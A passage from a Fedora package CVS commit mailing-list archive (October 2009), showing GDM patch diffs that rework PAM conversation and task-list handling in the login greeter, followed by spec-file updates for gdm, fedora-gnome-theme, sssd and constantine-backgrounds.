 Date: Mon, 2 Mar 2009 11:10:28 -0500
-Subject: [PATCH 40/48] Only show task list if user is selected
+Subject: [PATCH 44/53] Only show task list if user is selected
 
 ---
  gui/simple-greeter/gdm-greeter-login-window.c |   32 ++++++++++++++----------
@@ -17046,7 +17100,7 @@ Subject: [PATCH 40/48] Only show task li
  2 files changed, 28 insertions(+), 15 deletions(-)
 
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index 661023f..ed47b52 100644
+index af21af3..9041f76 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
 @@ -526,6 +526,7 @@ switch_mode (GdmGreeterLoginWindow *login_window,
@@ -17081,7 +17135,7 @@ index 661023f..ed47b52 100644
                  default_name = "log-in-button";
                  break;
          default:
-@@ -1169,11 +1178,14 @@ on_user_chooser_activated (GdmUserChooserWidget  *user_chooser,
+@@ -1163,11 +1172,14 @@ on_user_chooser_activated (GdmUserChooserWidget  *user_chooser,
  
          if (strcmp (item_id, GDM_USER_CHOOSER_USER_OTHER) == 0) {
                  g_debug ("GdmGreeterLoginWindow: Starting all auth conversations");
@@ -17097,7 +17151,7 @@ index 661023f..ed47b52 100644
          } else if (strcmp (item_id, GDM_USER_CHOOSER_USER_AUTO) == 0) {
                  g_debug ("GdmGreeterLoginWindow: Starting auto login");
                  g_signal_emit (login_window, signals[BEGIN_AUTO_LOGIN], 0,
-@@ -1186,6 +1198,8 @@ on_user_chooser_activated (GdmUserChooserWidget  *user_chooser,
+@@ -1180,6 +1192,8 @@ on_user_chooser_activated (GdmUserChooserWidget  *user_chooser,
                  set_log_in_button_mode (login_window, LOGIN_BUTTON_TIMED_LOGIN);
                  set_message (login_window, _("Select language and click Log In"));
                  g_free (item_id);
@@ -17106,7 +17160,7 @@ index 661023f..ed47b52 100644
          } else {
                  GdmTask *task;
  
-@@ -1200,18 +1214,17 @@ on_user_chooser_activated (GdmUserChooserWidget  *user_chooser,
+@@ -1194,18 +1208,17 @@ on_user_chooser_activated (GdmUserChooserWidget  *user_chooser,
                          return;
                  }
                  g_debug ("GdmGreeterLoginWindow: Beginning auth conversation for item %s", item_id);
@@ -17129,7 +17183,7 @@ index 661023f..ed47b52 100644
  }
  
  static void
-@@ -1524,7 +1537,6 @@ load_theme (GdmGreeterLoginWindow *login_window)
+@@ -1518,7 +1531,6 @@ load_theme (GdmGreeterLoginWindow *login_window)
                                    "deactivated",
                                    G_CALLBACK (on_task_deactivated),
                                    login_window);
@@ -17137,7 +17191,7 @@ index 661023f..ed47b52 100644
  
          login_window->priv->auth_banner_label = glade_xml_get_widget (login_window->priv->xml, "auth-banner-label");
          /*make_label_small_italic (login_window->priv->auth_banner_label);*/
-@@ -2028,12 +2040,6 @@ gdm_greeter_login_window_add_extension (GdmGreeterLoginWindow *login_window,
+@@ -2022,12 +2034,6 @@ gdm_greeter_login_window_add_extension (GdmGreeterLoginWindow *login_window,
          g_debug ("GdmGreeterLoginWindow: new extension '%s - %s' added",
                  name, description);
  
@@ -17182,13 +17236,13 @@ index 25831a6..162b784 100644
  
  int
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From 71fd47612790465472f8fb89a9d687c5275e3843 Mon Sep 17 00:00:00 2001
+From a3d474a6a37a7b376b9d534ac48f8888b6839835 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Mon, 2 Mar 2009 13:53:34 -0500
-Subject: [PATCH 41/48] Pull verification functions out into their own subroutines
+Subject: [PATCH 45/53] Pull verification functions out into their own subroutines
 
 This makes the function smaller and easier to read
 ---
@@ -17196,10 +17250,10 @@ This makes the function smaller and easi
  1 files changed, 95 insertions(+), 40 deletions(-)
 
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index ed47b52..372e5f8 100644
+index 9041f76..fb54e5f 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
-@@ -1116,6 +1116,17 @@ begin_task_verification (GdmTaskList           *task_list,
+@@ -1110,6 +1110,17 @@ begin_task_verification (GdmTaskList           *task_list,
          return FALSE;
  }
  
@@ -17217,7 +17271,7 @@ index ed47b52..372e5f8 100644
  static gboolean
  begin_task_verification_for_selected_user (GdmTaskList           *task_list,
                                             GdmTask               *task,
-@@ -1141,6 +1152,15 @@ begin_task_verification_for_selected_user (GdmTaskList           *task_list,
+@@ -1135,6 +1146,15 @@ begin_task_verification_for_selected_user (GdmTaskList           *task_list,
  }
  
  static void
@@ -17233,7 +17287,7 @@ index ed47b52..372e5f8 100644
  on_user_chosen (GdmGreeterLoginWindow *login_window,
                  const char            *user_name)
  {
-@@ -1149,12 +1169,78 @@ on_user_chosen (GdmGreeterLoginWindow *login_window,
+@@ -1143,12 +1163,78 @@ on_user_chosen (GdmGreeterLoginWindow *login_window,
          g_signal_emit (G_OBJECT (login_window), signals[USER_SELECTED],
                         0, user_name);
  
@@ -17314,7 +17368,7 @@ index ed47b52..372e5f8 100644
  }
  
  static void
-@@ -1176,54 +1262,23 @@ on_user_chooser_activated (GdmUserChooserWidget  *user_chooser,
+@@ -1170,54 +1256,23 @@ on_user_chooser_activated (GdmUserChooserWidget  *user_chooser,
          item_id = gdm_chooser_widget_get_active_item (GDM_CHOOSER_WIDGET (user_chooser));
          g_debug ("GdmGreeterLoginWindow: item chosen '%s'", item_id);
  
@@ -17377,13 +17431,13 @@ index ed47b52..372e5f8 100644
  }
  
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From 0d19a210f5395b2923a200e277814aacae431a4f Mon Sep 17 00:00:00 2001
+From 6e4ec39d76631d1a9d00aa7145dcaef9f96b4899 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Mon, 2 Mar 2009 13:57:34 -0500
-Subject: [PATCH 42/48] Add new function find_task_with_service_name
+Subject: [PATCH 46/53] Add new function find_task_with_service_name
 
 It hides a bunch of icky foreach calls.
 ---
@@ -17391,10 +17445,10 @@ It hides a bunch of icky foreach calls.
  1 files changed, 22 insertions(+), 28 deletions(-)
 
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index 372e5f8..863e860 100644
+index fb54e5f..28c9ab2 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
-@@ -618,6 +618,20 @@ task_has_service_name (GdmTaskList *task_list,
+@@ -612,6 +612,20 @@ task_has_service_name (GdmTaskList *task_list,
          return has_service_name;
  }
  
@@ -17415,7 +17469,7 @@ index 372e5f8..863e860 100644
  static gboolean
  reset_task (GdmTaskList           *task_list,
              GdmTask               *task,
-@@ -723,10 +737,7 @@ gdm_greeter_login_window_ready (GdmGreeterLoginWindow *login_window,
+@@ -717,10 +731,7 @@ gdm_greeter_login_window_ready (GdmGreeterLoginWindow *login_window,
  
          g_return_val_if_fail (GDM_IS_GREETER_LOGIN_WINDOW (login_window), FALSE);
  
@@ -17427,7 +17481,7 @@ index 372e5f8..863e860 100644
  
          if (task != NULL) {
                  if (gdm_chooser_widget_is_loaded (GDM_CHOOSER_WIDGET (login_window->priv->user_chooser))) {
-@@ -755,10 +766,7 @@ gdm_greeter_login_window_conversation_stopped (GdmGreeterLoginWindow *login_wind
+@@ -749,10 +760,7 @@ gdm_greeter_login_window_conversation_stopped (GdmGreeterLoginWindow *login_wind
  
          g_debug ("GdmGreeterLoginWindow: conversation '%s' has stopped", service_name);
  
@@ -17439,7 +17493,7 @@ index 372e5f8..863e860 100644
  
          if (task != NULL) {
                  gdm_conversation_reset (GDM_CONVERSATION (task));
-@@ -816,10 +824,7 @@ gdm_greeter_login_window_info (GdmGreeterLoginWindow *login_window,
+@@ -820,10 +828,7 @@ gdm_greeter_login_window_info (GdmGreeterLoginWindow *login_window,
          g_return_val_if_fail (GDM_IS_GREETER_LOGIN_WINDOW (login_window), FALSE);
          g_debug ("GdmGreeterLoginWindow: info: %s", text);
  
@@ -17451,7 +17505,7 @@ index 372e5f8..863e860 100644
  
          if (task != NULL) {
                  gdm_conversation_set_message (GDM_CONVERSATION (task),
-@@ -850,10 +855,7 @@ gdm_greeter_login_window_problem (GdmGreeterLoginWindow *login_window,
+@@ -844,10 +849,7 @@ gdm_greeter_login_window_problem (GdmGreeterLoginWindow *login_window,
          g_return_val_if_fail (GDM_IS_GREETER_LOGIN_WINDOW (login_window), FALSE);
          g_debug ("GdmGreeterLoginWindow: problem: %s", text);
  
@@ -17463,7 +17517,7 @@ index 372e5f8..863e860 100644
  
          if (task != NULL) {
                  gdm_conversation_set_message (GDM_CONVERSATION (task),
-@@ -955,10 +957,8 @@ gdm_greeter_login_window_info_query (GdmGreeterLoginWindow *login_window,
+@@ -949,10 +951,8 @@ gdm_greeter_login_window_info_query (GdmGreeterLoginWindow *login_window,
  
          g_debug ("GdmGreeterLoginWindow: info query: %s", text);
  
@@ -17476,7 +17530,7 @@ index 372e5f8..863e860 100644
  
          if (task != NULL) {
                  gdm_conversation_ask_question (GDM_CONVERSATION (task),
-@@ -986,10 +986,7 @@ gdm_greeter_login_window_secret_info_query (GdmGreeterLoginWindow *login_window,
+@@ -980,10 +980,7 @@ gdm_greeter_login_window_secret_info_query (GdmGreeterLoginWindow *login_window,
  
          g_return_val_if_fail (GDM_IS_GREETER_LOGIN_WINDOW (login_window), FALSE);
  
@@ -17488,7 +17542,7 @@ index 372e5f8..863e860 100644
  
          if (task != NULL) {
                  gdm_conversation_ask_secret (GDM_CONVERSATION (task),
-@@ -1219,10 +1216,7 @@ begin_single_service_verification (GdmGreeterLoginWindow *login_window,
+@@ -1213,10 +1210,7 @@ begin_single_service_verification (GdmGreeterLoginWindow *login_window,
  {
          GdmTask *task;
  
@@ -17501,13 +17555,13 @@ index 372e5f8..863e860 100644
          if (task == NULL) {
                  g_debug ("GdmGreeterLoginWindow: %s has no task associated with it", service_name);
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From af024db353d19d1f7d3d02f86d79fdf99a8f0457 Mon Sep 17 00:00:00 2001
+From cd7e032237d37b1072efc5612346a705f18a1bd7 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Mon, 2 Mar 2009 17:09:16 -0500
-Subject: [PATCH 43/48] Notify plugins if their user choose requests fail
+Subject: [PATCH 47/53] Notify plugins if their user choose requests fail
 
 This allows the smart card plugin to cancel pending
 conversations when a card gets inserted.
@@ -17534,10 +17588,10 @@ index d5455e1..d8a9e72 100644
  VOID:DOUBLE
 +BOOLEAN:STRING
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index 863e860..cb12978 100644
+index 28c9ab2..e2600fb 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
-@@ -1916,7 +1916,7 @@ on_conversation_cancel (GdmGreeterLoginWindow *login_window,
+@@ -1910,7 +1910,7 @@ on_conversation_cancel (GdmGreeterLoginWindow *login_window,
          do_cancel (login_window);
  }
  
@@ -17546,7 +17600,7 @@ index 863e860..cb12978 100644
  on_conversation_chose_user (GdmGreeterLoginWindow *login_window,
                              const char            *username,
                              GdmConversation       *conversation)
-@@ -1927,7 +1927,13 @@ on_conversation_chose_user (GdmGreeterLoginWindow *login_window,
+@@ -1921,7 +1921,13 @@ on_conversation_chose_user (GdmGreeterLoginWindow *login_window,
                  name = gdm_task_get_name (GDM_TASK (conversation));
                  g_warning ("Task %s is trying to choose user before list is loaded", name);
                  g_free (name);
@@ -17561,7 +17615,7 @@ index 863e860..cb12978 100644
          }
  
          if (gdm_task_list_set_active_task (GDM_TASK_LIST (login_window->priv->conversation_list),
-@@ -1935,6 +1941,8 @@ on_conversation_chose_user (GdmGreeterLoginWindow *login_window,
+@@ -1929,6 +1935,8 @@ on_conversation_chose_user (GdmGreeterLoginWindow *login_window,
                  gdm_user_chooser_widget_set_chosen_user_name (GDM_USER_CHOOSER_WIDGET (login_window->priv->user_chooser),
                                                                username);
          }
@@ -17714,13 +17768,13 @@ index a9e41f4..274132e 100644
  
  char *
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From cd898cdf45186aa0525a1925f21cd0ad73e1c417 Mon Sep 17 00:00:00 2001
+From 1b8d1fd31b5e6290111f3a6b3697ec6dc61b26f1 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Mon, 13 Apr 2009 14:19:50 -0400
-Subject: [PATCH 44/48] reset all conversations if password conversation fails
+Subject: [PATCH 48/53] reset all conversations if password conversation fails
 
 This is a temporary hack until we store plugin policy in
 gconf.
@@ -17729,10 +17783,10 @@ gconf.
  1 files changed, 10 insertions(+), 0 deletions(-)
 
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index cb12978..fda4ba0 100644
+index e2600fb..fc12f36 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
-@@ -766,6 +766,16 @@ gdm_greeter_login_window_conversation_stopped (GdmGreeterLoginWindow *login_wind
+@@ -760,6 +760,16 @@ gdm_greeter_login_window_conversation_stopped (GdmGreeterLoginWindow *login_wind
  
          g_debug ("GdmGreeterLoginWindow: conversation '%s' has stopped", service_name);
  
@@ -17750,13 +17804,13 @@ index cb12978..fda4ba0 100644
  
          if (task != NULL) {
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From 55863d6c1974e7881cb644369d4a65ccf11475ec Mon Sep 17 00:00:00 2001
+From 6495837d40ed163862ab8bad5b9d5493d54fc388 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Tue, 21 Apr 2009 10:25:18 -0400
-Subject: [PATCH 45/48] When one PAM conversation wins, stop the others
+Subject: [PATCH 49/53] When one PAM conversation wins, stop the others
 
 This doesn't work yet, it's still in progress code.
 ---
@@ -17765,10 +17819,10 @@ This doesn't work yet, it's still in pro
  2 files changed, 46 insertions(+), 20 deletions(-)
 
 diff --git a/daemon/gdm-session-direct.c b/daemon/gdm-session-direct.c
-index b74c765..d5209f4 100644
+index 738267a..52a67c4 100644
 --- a/daemon/gdm-session-direct.c
 +++ b/daemon/gdm-session-direct.c
-@@ -2256,6 +2256,40 @@ gdm_session_direct_open_session (GdmSession *session,
+@@ -2258,6 +2258,40 @@ gdm_session_direct_open_session (GdmSession *session,
  }
  
  static void
@@ -17809,7 +17863,7 @@ index b74c765..d5209f4 100644
  gdm_session_direct_start_session (GdmSession *session,
                                    const char *service_name)
  {
-@@ -2267,12 +2301,20 @@ gdm_session_direct_start_session (GdmSession *session,
+@@ -2269,12 +2303,20 @@ gdm_session_direct_start_session (GdmSession *session,
          g_return_if_fail (session != NULL);
          g_return_if_fail (impl->priv->is_running == FALSE);
  
@@ -17832,7 +17886,7 @@ index b74c765..d5209f4 100644
          setup_session_environment (impl);
          send_environment (impl, conversation);
  
-@@ -2283,23 +2325,7 @@ gdm_session_direct_start_session (GdmSession *session,
+@@ -2285,23 +2327,7 @@ gdm_session_direct_start_session (GdmSession *session,
  static void
  stop_all_conversations (GdmSessionDirect *session)
  {
@@ -17871,13 +17925,13 @@ index 337718b..63ea82c 100644
                                                                 service_name);
                  if (! res) {
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From 0887e6298a4435c3d4e9ad7f553fe32bce363413 Mon Sep 17 00:00:00 2001
+From 7f0b059434796ce2f352c8c72a5fa695c643fa04 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Tue, 21 Apr 2009 15:30:28 -0400
-Subject: [PATCH 46/48] When one PAM conv. wins, actually stop the others
+Subject: [PATCH 50/53] When one PAM conv. wins, actually stop the others
 
 We weren't properly keeping the winning conversation
 around in the previous commit
@@ -17886,10 +17940,10 @@ around in the previous commit
  1 files changed, 10 insertions(+), 3 deletions(-)
 
 diff --git a/daemon/gdm-session-direct.c b/daemon/gdm-session-direct.c
-index d5209f4..d2ffc87 100644
+index 52a67c4..7cc5511 100644
 --- a/daemon/gdm-session-direct.c
 +++ b/daemon/gdm-session-direct.c
-@@ -2280,13 +2280,20 @@ stop_all_other_conversations (GdmSessionDirect        *session,
+@@ -2282,13 +2282,20 @@ stop_all_other_conversations (GdmSessionDirect        *session,
                  conversation = (GdmSessionConversation *) value;
  
                  if (conversation == conversation_to_keep) {
@@ -17914,13 +17968,13 @@ index d5209f4..d2ffc87 100644
  
  static void
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From 749f107a23ee2d768dd2de7cd9bf0434f8f54ce9 Mon Sep 17 00:00:00 2001
+From 189d1903462ccf6afbbddd9ccfdb79f0a8c2f099 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 24 Jul 2009 14:41:48 -0400
-Subject: [PATCH 47/48] KILL pam stack instead of TERM pam stack
+Subject: [PATCH 51/53] KILL pam stack instead of TERM pam stack
 
 Some PAM modules are really slow to shut down.
 We need to handle them being slow to shut down better,
@@ -17946,23 +18000,23 @@ index 0327d77..d99b8a5 100644
          if (res < 0) {
                  g_warning ("Unable to kill session worker process");
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From 77491957d3822f1fbe4e0cb7d9c124e16ac8f617 Mon Sep 17 00:00:00 2001
+From 77fcb562d35226b77787899dc20432838e19c8ba Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Wed, 21 Oct 2009 16:08:52 -0400
-Subject: [PATCH 48/48] Don't show tasklist for autologin
+Subject: [PATCH 52/53] Don't show tasklist for autologin
 
 ---
  gui/simple-greeter/gdm-greeter-login-window.c |    5 +++++
  1 files changed, 5 insertions(+), 0 deletions(-)
 
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index fda4ba0..ce8fa38 100644
+index fc12f36..8af5452 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
-@@ -1195,6 +1195,11 @@ begin_auto_login (GdmGreeterLoginWindow *login_window)
+@@ -1189,6 +1189,11 @@ begin_auto_login (GdmGreeterLoginWindow *login_window)
          set_message (login_window, _("Select language and click Log In"));
  
          switch_mode (login_window, MODE_AUTHENTICATION);
@@ -17975,5 +18029,39 @@ index fda4ba0..ce8fa38 100644
  
  static gboolean
 -- 
-1.6.5.rc2
+1.6.5.1
+
+
+From 5926910dba8dfe78bef05ff4a21ae46b5cb69ffb Mon Sep 17 00:00:00 2001
+From: Ray Strode <rstrode at redhat.com>
+Date: Fri, 23 Oct 2009 17:39:19 -0400
+Subject: [PATCH 53/53] Drop the other hiding stuff for now.
+
+It depends on buttons being available that we don't have
+in the multi-stack branch.
+---
+ gui/simple-greeter/gdm-user-chooser-widget.c |    8 +-------
+ 1 files changed, 1 insertions(+), 7 deletions(-)
+
+diff --git a/gui/simple-greeter/gdm-user-chooser-widget.c b/gui/simple-greeter/gdm-user-chooser-widget.c
+index bff71e5..4d3c445 100644
+--- a/gui/simple-greeter/gdm-user-chooser-widget.c
++++ b/gui/simple-greeter/gdm-user-chooser-widget.c
+@@ -140,13 +140,7 @@ update_other_user_visibility (GdmUserChooserWidget *widget)
+                 return;
+         }
+ 
+-        number_of_users = gdm_chooser_widget_get_number_of_items (GDM_CHOOSER_WIDGET (widget));
+-
+-        /* we hide the Other user if it's the last one, and we show it
+-         * if there's another user */
+-        if (number_of_users == 1 && widget->priv->has_user_other) {
+-                remove_user_other (widget);
+-        } if (number_of_users >= 1 && !widget->priv->has_user_other) {
++        if (!widget->priv->has_user_other) {
+                 add_user_other (widget);
+         }
+ }
+-- 
+1.6.5.1
 


Index: gdm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gdm/F-12/gdm.spec,v
retrieving revision 1.508
retrieving revision 1.509
diff -u -p -r1.508 -r1.509
--- gdm.spec	27 Oct 2009 15:53:46 -0000	1.508
+++ gdm.spec	27 Oct 2009 19:46:29 -0000	1.509
@@ -16,7 +16,7 @@
 Summary: The GNOME Display Manager
 Name: gdm
 Version: 2.28.1
-Release: 11%{?dist}
+Release: 12%{?dist}
 Epoch: 1
 License: GPLv2+
 Group: User Interface/X
@@ -413,6 +413,9 @@ fi
 %{_libdir}/gdm/simple-greeter/plugins/fingerprint.so
 
 %changelog
+* Tue Oct 27 2009 Ray Strode <rstrode at redhat.com> 2.28.1-12
+- One more go at bug 527920
+
 * Tue Oct 27 2009 Ray Strode <rstrode at redhat.com> 2.28.1-11
 - Tighten permissions on /var/run/gdm (bug 531063)
 



From mclasen at fedoraproject.org  Tue Oct 27 19:48:39 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Tue, 27 Oct 2009 19:48:39 +0000 (UTC)
Subject: rpms/fedora-gnome-theme/F-12 fedora-gnome-theme.spec, 1.17,
	1.18 defaults.patch, 1.1, NONE notification-theme.patch, 1.1, NONE
Message-ID: <20091027194839.E37F311C00E6@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/fedora-gnome-theme/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13677

Modified Files:
	fedora-gnome-theme.spec 
Removed Files:
	defaults.patch notification-theme.patch 
Log Message:
drop unused deps



Index: fedora-gnome-theme.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fedora-gnome-theme/F-12/fedora-gnome-theme.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- fedora-gnome-theme.spec	25 Sep 2009 00:43:29 -0000	1.17
+++ fedora-gnome-theme.spec	27 Oct 2009 19:48:39 -0000	1.18
@@ -1,7 +1,7 @@
 Summary: Fedora GNOME theme
 Name: fedora-gnome-theme
 Version: 12.3
-Release: 1%{?dist}
+Release: 2%{?dist}
 BuildArch: noarch
 # No version given, no license attribution.
 License: GPL+
@@ -11,8 +11,6 @@ Source0: %{name}-%{version}.tar.bz2
 URL: http://www.redhat.com
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-Requires: nodoka-metacity-theme
-Requires: gtk-nodoka-engine
 Requires: fedora-icon-theme
 Requires: notification-daemon-engine-slider
 Requires: bluecurve-cursor-theme
@@ -53,6 +51,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/themes/Fedora
 
 %changelog
+* Tue Oct 27 2009 Matthias Clasen <mclasen at redhat.com> 12.3-2
+- Drop unused dependencies
+
 * Thu Sep 24 2009 Matthias Clasen <mclasen at redhat.com> 12.3-1
 - Use a new notification theme
 


--- defaults.patch DELETED ---


--- notification-theme.patch DELETED ---



From sgallagh at fedoraproject.org  Tue Oct 27 20:00:58 2009
From: sgallagh at fedoraproject.org (Stephen Gallagher)
Date: Tue, 27 Oct 2009 20:00:58 +0000 (UTC)
Subject: rpms/sssd/F-11 .cvsignore, 1.12, 1.13 sources, 1.12, 1.13 sssd.spec,
	1.24, 1.25 0001-Fix-migration-script-for-pre-0.5-local-domains.patch, 
	1.1, NONE
Message-ID: <20091027200059.050CC11C0267@cvs1.fedora.phx.redhat.com>

Author: sgallagh

Update of /cvs/pkgs/rpms/sssd/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17975

Modified Files:
	.cvsignore sources sssd.spec 
Removed Files:
	0001-Fix-migration-script-for-pre-0.5-local-domains.patch 
Log Message:
New upstream release

Fix segfaults and upgrade issues.
Provide newer default configuration.




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sssd/F-11/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	23 Oct 2009 20:03:33 -0000	1.12
+++ .cvsignore	27 Oct 2009 20:00:56 -0000	1.13
@@ -1 +1 @@
-sssd-0.7.0.tar.gz
+sssd-0.7.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sssd/F-11/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	23 Oct 2009 20:03:33 -0000	1.12
+++ sources	27 Oct 2009 20:00:57 -0000	1.13
@@ -1 +1 @@
-403945c70c902302e5d8babecb24b096  sssd-0.7.0.tar.gz
+827ef46d27c54ce790d329a6b1b82586  sssd-0.7.1.tar.gz


Index: sssd.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sssd/F-11/sssd.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- sssd.spec	26 Oct 2009 13:43:50 -0000	1.24
+++ sssd.spec	27 Oct 2009 20:00:57 -0000	1.25
@@ -2,26 +2,23 @@
 %{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import *; import sys; sys.stdout.write(get_python_lib())")}
 
 Name: sssd
-Version: 0.7.0
-Release: 2%{?dist}
+Version: 0.7.1
+Release: 1%{?dist}
 Group: Applications/System
 Summary: System Security Services Daemon
 # The entire source code is GPLv3+ except replace/ which is LGPLv3+
 License: GPLv3+ and LGPLv3+
 URL: http://fedorahosted.org/sssd
 Source: https://fedorahosted.org/released/sssd/sssd-%{version}.tar.gz
-Source1: sssd.conf.default
 BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 
 ### Patches ###
 
-Patch1: 0001-Fix-migration-script-for-pre-0.5-local-domains.patch
-
 ### Dependencies ###
 
 Requires: libldb >= 0.9.3
 Requires: libtdb >= 1.1.3
-Requires: sssd-client = 0.7.0
+Requires: sssd-client = 0.7.1
 Requires(post): python
 Requires(preun):  initscripts chkconfig
 Requires(postun): /sbin/service
@@ -75,8 +72,6 @@ service.
 %prep
 %setup -q
 
-%patch1 -p1 -b .upgrade_fixes
-
 %build
 %configure \
     --without-tests \
@@ -97,7 +92,7 @@ make install DESTDIR=$RPM_BUILD_ROOT
 /usr/lib/rpm/find-lang.sh $RPM_BUILD_ROOT sss_client
 
 mkdir -p $RPM_BUILD_ROOT/%{_sysconfdir}/sssd
-install -m600 %{SOURCE1} $RPM_BUILD_ROOT%{_sysconfdir}/sssd/sssd.conf
+install -m600 server/examples/sssd.conf $RPM_BUILD_ROOT%{_sysconfdir}/sssd/sssd.conf
 
 install -m400 server/config/etc/sssd.api.conf $RPM_BUILD_ROOT%{_sysconfdir}/sssd/sssd.api.conf
 install -m400 server/config/etc/sssd.api.d/* $RPM_BUILD_ROOT%{_sysconfdir}/sssd/sssd.api.d/
@@ -194,6 +189,11 @@ fi
 %postun client -p /sbin/ldconfig
 
 %changelog
+* Tue Oct 27 2009 Stephen Gallagher <sgallagh at redhat.com> - 0.7.1-1
+- Fix segfault in sssd_pam when cache_credentials was enabled
+- Update the sample configuration
+- Fix upgrade issues caused by data provider service removal
+
 * Mon Oct 26 2009 Stephen Gallagher <sgallagh at redhat.com> - 0.7.0-2
 - Fix upgrade issues from old (pre-0.5.0) releases of SSSD
 


--- 0001-Fix-migration-script-for-pre-0.5-local-domains.patch DELETED ---



From mso at fedoraproject.org  Tue Oct 27 20:07:38 2009
From: mso at fedoraproject.org (Martin Sourada)
Date: Tue, 27 Oct 2009 20:07:38 +0000 (UTC)
Subject: rpms/constantine-backgrounds/F-12 .cvsignore, 1.5,
	1.6 constantine-backgrounds.spec, 1.7, 1.8 sources, 1.5, 1.6
Message-ID: <20091027200738.8283611C00E6@cvs1.fedora.phx.redhat.com>

Author: mso

Update of /cvs/extras/rpms/constantine-backgrounds/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19906

Modified Files:
	.cvsignore constantine-backgrounds.spec sources 
Log Message:


New default backgrounds, final extras selection, build -extras-kde subpackage.




Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/constantine-backgrounds/F-12/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	30 Sep 2009 20:03:56 -0000	1.5
+++ .cvsignore	27 Oct 2009 20:07:38 -0000	1.6
@@ -1 +1 @@
-constantine-backgrounds-12.0.0.tar.lzma
+constantine-backgrounds-12.1.0.tar.lzma


Index: constantine-backgrounds.spec
===================================================================
RCS file: /cvs/extras/rpms/constantine-backgrounds/F-12/constantine-backgrounds.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- constantine-backgrounds.spec	30 Sep 2009 20:03:56 -0000	1.7
+++ constantine-backgrounds.spec	27 Oct 2009 20:07:38 -0000	1.8
@@ -1,5 +1,5 @@
 Name:           constantine-backgrounds
-Version:        12.0.0
+Version:        12.1.0
 Release:        1%{?dist}
 Summary:        Constantine desktop backgrounds
 
@@ -11,12 +11,12 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 
 BuildArch:      noarch
 
-BuildRequires:  inkscape
+#BuildRequires:  inkscape
 # for %%_kde4_* macros
 BuildRequires:	kde-filesystem
 Requires:       %{name}-single = %{version}-%{release}
 
-%if 0%{?fedora} == 12
+%if 0%{?fedora} >= 12
 Provides: system-backgrounds
 %endif
 
@@ -42,7 +42,7 @@ This package contains aditional desktop 
 Summary:        Constantine Wallpapers for KDE 
 Group:          Applications/Multimedia
 Obsoletes:      constantine-kde-theme <= 11.90.0
-%if 0%{?fedora} == 12
+%if 0%{?fedora} >= 12
 Provides:       system-backgrounds-kde
 %endif
 
@@ -106,13 +106,25 @@ rm -rf $RPM_BUILD_ROOT
 
 %files kde
 %defattr(-,root,root,-)
